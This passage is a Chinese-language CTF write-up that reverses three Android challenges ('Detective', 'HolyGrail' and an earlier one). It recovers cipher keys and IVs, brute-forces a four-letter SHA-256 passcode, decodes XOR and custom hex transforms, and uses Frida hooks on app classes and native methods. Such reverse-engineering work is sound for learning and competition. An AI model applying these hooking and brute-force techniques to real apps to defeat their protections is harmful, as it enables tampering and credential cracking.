看来第二个字符串“JkLmNoPqRsTuVwXy”就是我们要找的blowfish的key，拿去解密一下​

这里ECB模式不需要iv向量，但不知道为什么cyberchef必须要填一下（随便填一个就行，不影响解密

结果）

根据mainactivity1，接下来还需要找getiv函数返回的iv向量，再对上面得到的明文进行DES-CBC加

密、base64编码即可得到flag​



getiv函数在native层，用ida看一下​

就是这一段代码，n2_1根据前面可以知道等于7，s内存区域就是返回的iv值所在的区域，写个代码解

一下

代码块​

#include <stdio.h>
int main(){
    char s[38]={0};
    char str[]="Let my heart bravely spread the wings";
    int v9=0;
    int n2_1=7;
    char n76=76;
    for (int i = 1; i != 38; i++)
    {
        if ( (n76 & 0xFFFFFFDF) - 91 >= 0xFFFFFFE6 )
            s[v9++] = 32 * ((unsigned int)(n76 - 91) < 0xFFFFFFE6)+ (32 * 
((unsigned int)(n76 - 91) >= 0xFFFFFFE6) + n2_1 + n76 - 97) % 26 + 65;
        n76 = str[i];
    }
    s[v9]=0;
    for (int i = 0; i < 38; i++)
    {
        printf("%c",s[i]);
    }
    
}
// Slatfolhyaiyhclsfzwylhkaoldpunz

取前8位，即Slatfolh就是想要的iv向量值​
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拿去DES解密，再转base64​

Detective​

检验的哈希值在native层里，passcode就四位大写字母，开爆​

代码块​

import hashlib
import itertools
import string

TARGET_HASH = 
"23213b6f905655aaf0510c9054e4b14719d07c2c17c08d826a5f9139d8c234f9"
CHAR_SET = string.ascii_uppercase
PASSWORD_LENGTH = 4

for attempt_tuple in itertools.product(CHAR_SET, repeat=PASSWORD_LENGTH):
    attempt = "".join(attempt_tuple)
    
    hashed_attempt = hashlib.sha256(attempt.encode('utf-8')).hexdigest()

    if hashed_attempt == TARGET_HASH:
        print(f"[+] 密码找到: {attempt}")
        # 找到密码后退出循环​
        break
else:
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    # 如果循环结束都没有找到匹配的哈希​
    print("[-] 在指定字符集和长度内未找到匹配的密码。")

爆出来是SHER​

stringFromJNI函数其实就是一个简单异或​

代码块​

enc='1027444F3F5742506A3B24535F2C224A'
flag=[]
for i in range(0,len(enc),2):
    flag.append(int(enc[i:i+2],16))
key='Sherlock'
for i in range(len(flag)):
    print(chr(ord(key[i % len(key)]) ^ flag[i]),end='')

# CO!=S8!;9SA!3CA!
# 转化为16进制：434f213d5338213b3953412133434121​

接下来看m51a内部​

m53c接收的为：​

43004F0021003D005300380021003B00390053004100210033004300410021​

java的char是16位的，因此逆向stringFromJNI函数得出来的字符串转成十六进制，再把两位十六进制

改为四位，就是m53c接收到的原始字符串​

接下来看m54a，这个方法最后的返回值是：​

sb3.toString().replaceAll("(.{2})", "$100").substring(0, r10.length() - 2);​

有一个正则表达式，查了半天这个返回值其实就是：

假如sb3为 123456​

则返回值是1200340056​

即给每一组字符对后面添两个0，最后一组除外​

那么根据前面得到的m53c的接收值，这里的sb3应该就是434F213D5338213B3953412133434121​

根据这一段代码
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可以逆向出sb2=”43f43d53833b395314334314“​

接下来看上面这段

分奇偶搞了两个字符串，最后又把它们拼接在一起构成了sb2​

回去看前面的m52b方法，它把所有十六进制都转成了三位（前面添了一个0），这个地方的循环其实

就是把这些0全部变成3，然后再按奇偶分开填充到sb、sb2里面，最后又把它们拼到一起​

比如输入ISCC{qweqwe}，那么流程如下：​

经m52b转换，字符串qweqwe变为'071077065071077065'，输入给m54a，经过第一个while循环，

会把这个字符串拆解为两部分，其中sb=317357376，sb2=737631735（把前面补的0变成3，其它的

不变，按奇偶拆开）

然后合并到sb2，使得sb2=737631735317357376​

那么逆向就同理，如下

代码块​

# 4 3 f 4 3 d 5 3 8 3 3 b1



#3 9 5 3 1 4 3 3 4 3 1 4
#34935f34134d35334833134b
enc='34935f34134d35334833134b'
for i in range(0,len(enc),3):
    print(chr(int(enc[i+1:i+3],16)),end='')
# ISCC{I_AMSH1K}

HolyGrail​

先看flag验证部分​

在apk运行的第一个界面，我们要选择一个顺序，程序会根据这个顺序生成一个字符串​

然后在第二个界面让我们输入flag，flag经过加密再跟上面生成的字符串进行比对​

必须要让两个地方都正确才会输出“Success”​

那么就得先找一下密文是什么，即先找到mainactivity里面checkbox的顺序，也就是这个地方我们需

要选择的顺序
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但我们现在还不知道这些按钮对应的checkbox是哪个，先用frida探测一下​

代码块​

Java.perform(function () {
        let CipherDataHandler = 
Java.use("com.example.holygrail.CipherDataHandler");
        CipherDataHandler["getCipherText"].implementation = function (list) {
            let result = this["getCipherText"](list);
            console.log(`CipherDataHandler.getCipherText result=${result}`);
            var size = list.size();
            for (var i = 0; i < size; i++) {
                var element = list.get(i);
                console.log(`Element ${i}: ${element.toString()}`);
            }
            return result;
        };

});

然后从上到下、从左到右的顺序提交
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然后要找到正确的顺序，这里有提示信息，根据这些信息丢给AI得到排序：​

正确排序后用frida就可以得到密文（这些checkbox在本地lib库里面也可以找到对应的字符串，自己拼

一下也可以），密文是由函数getciphertext创建，可以调用frida创建出密文​

代码块​

function hook() {
Java.perform(function () {
var targetClass = Java.use("com.example.holygrail.CipherDataHandler");
var args = Java.array("java.lang.String", [
"checkBox8",
"checkBox6",
"checkBox7",
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"checkBox5",
"checkBox12",
"checkBox3",
"checkBox10",
"checkBox13",
"checkBox11",
"checkBox",
"checkBox9",
"checkBox4",
"checkBox14"
]);
console.log(targetClass.generateCipherText(args));
});
};
setImmediate(hook);

得到密文之后就可以逆向加密过程，即validateFlag函数​

原文经vigenereEncrypt，再经processWithNative最后十六进制转为字符串​

主要看processWithNative，在本地方法里面，可以验证，它是逐字节加密​

对于逐字节加密，可以不用分析它的加密流程如何，可以通过构造一个可打印字符的对应表然后再查

表解决

先使用frida得出可打印字符的对应表，修改a.b方法的返回值，再打印processWithNative的返回值即

可

验证代码和演示结果如下

代码块​

function hook() {
Java.perform(function () {
  let b = Java.use("com.example.holygrail.b");
    b["a"].implementation = function (str){
      console.log(`b.a is called, str = ${str}`);
    }
});
};
setImmediate(hook);
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那么可以输入所有的可打印字符，构造出来一个表（即下面代码中的get）​

经过验证，对于部分字符会在后面加上“21”，手动去掉​

代码块​

printable=r"0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!#$%&
'()*+,-./:;<=>?@[\]^_`{|}~"
get="39213A213B213C21402141214221432144214521464748494A4B4C50515253545556575859
5A5B5C60616263646550215121522153215421552156215721582159215A215B215C21303132333
435363738393A3B3C272129212A212B212C21302131213221332134213521362137213821462147
21482149214A214B214C2140414243444566676869"
data=[]
while get!="":
    if get[2:4]=="21":
        data.append(get[:4].lower())
        get=get[4:]
    else:
        data.append(get[:2].lower())
        get=get[2:]
def decrypt(enc):
    encs = []
    while enc!="":
        if enc[2:4]=="21":
            encs.append(enc[:4])
            enc=enc[4:]
        else:
            encs.append(enc[:2])
            enc=enc[2:]
    enc = ""
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    for i in encs:
        enc += printable[data.index(i)]
    print(enc)
decrypt(b"9`Ji9!QiS!aS!:!FJ:!i".hex())
# Wue~0i~DvD1ae1~

然后再看vigenereEncrypt加密，这里是一个加密算法，密钥也是固定的，可以hook出来，修改一下

上面的hook代码就可以（报错不管，能用就行）​

代码块​

function hook() {
Java.perform(function () {
  let a = Java.use("com.example.holygrail.a");
    a["vigenereEncrypt"].implementation = function (str , str2){
      console.log(`a.vigenereEncrypt is called, str = ${str}, str2 = ${str2}`);
    };
    
});
};
setImmediate(hook);

那么把上面python解出来的字符串再解密就可以​
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